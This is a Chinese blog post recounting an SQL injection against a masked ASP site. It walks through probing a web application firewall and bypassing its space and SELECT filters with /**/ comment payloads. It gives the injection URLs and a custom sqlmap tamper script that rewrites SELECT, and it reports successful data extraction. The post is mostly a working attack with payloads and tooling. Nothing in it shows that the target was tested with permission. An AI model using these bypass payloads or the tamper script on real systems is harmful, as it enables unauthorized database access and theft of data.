zoukankan      html  css  js  c++  java
  • 记录一次sql注入绕过

    目标:http://www.xxxxx.net/temp.asp?ID=10359

    通过 and 1=1 and 1=2 测试发现存在拦截

    首先想到 and 空格 = 可能存在触发规则

    一般遇到这种情况 过滤 and 一般会考虑转换为 &&

    空格过滤转换为 %0a 、+ 或者 /**/

    = 转换为 like greatest between 这些在sqlmap 都有相应的tamper

    这里经过测试发现就是过滤了 空格,转换为 /**/ 就不拦截了

    由于不能进行union 注入 和报错 这里只能进行盲注

    然后使用 sqlmap  space2comment 进行注入的时候  sqlmap出不了数据

    分析过滤了什么关键字

    提交 

    http://www.xxxxx.net/temp.asp?ID=10359/**/and/**/1=(select 1) 返回 

    初步判断过滤了select  

    测试发现将select 转换为 /**/select  绕过过滤

     

    所以要让sqlmap 能出数据就要将注入语句里面的 SELECT 全部转换为 /**/SELECT

    #!/usr/bin/env python
    
    def tamper(payload, **kwargs):
        retVal = payload
        if 'SELECT' in retVal:
            retVal = retVal.replace('SELECT','/**/SELECT')
    
        return retVal

    命名为 select2select 放在sqlmap tamper 目录下面

    成功注入出数据

    去burp 查看语句

  • 相关阅读:
    Redis(二)
    Redis
    Nginx
    Linux的环境配置
    深入mysql
    SpringBoot入门
    Thymeleaf入门
    Mybatis之resultMap
    Mybatis入门
    使用第三方实现微信登录
  • 原文地址:https://www.cnblogs.com/depycode/p/7360528.html
Copyright © 2011-2022 走看看